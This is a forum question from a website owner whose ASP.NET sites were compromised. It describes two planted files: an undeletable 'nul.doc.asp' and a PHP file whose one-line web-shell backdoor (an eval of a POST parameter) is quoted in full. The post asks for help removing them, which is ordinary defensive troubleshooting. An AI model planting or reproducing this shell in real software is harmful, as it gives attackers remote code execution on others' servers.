This question already has an answer here:
- How do I deal with a compromised server? 6 answers
About 10 days ago I saw 2 unknown files on my websites (ASP.NET websites).
they spread on all 3 of my websites, and placed them selves in the CSS folder.
The first one was with the name of 'Paths.php' with this code in it.
500 <?php @eval($_POST['360']);?>
When I Googled the code, I found out it's kinda of a backdoor that kinda able to send anything it wants through a URL targeting the malicious file. So I deleted it immediately.
But the second file which has the name of 'nul.doc.asp' , That I wasn't able to see it's code or even delete it, it's named in a way that I can't rename, edit, move, delete, the server says it can't reach it.
I am really desperate to get rid of it with no luck at all, I even contacted the Customer Support and they didn't do thing in 10 days.
So can you help me guys by getting rid of it?
P.S I even tried to delete an entire website, everything was deleted but the file.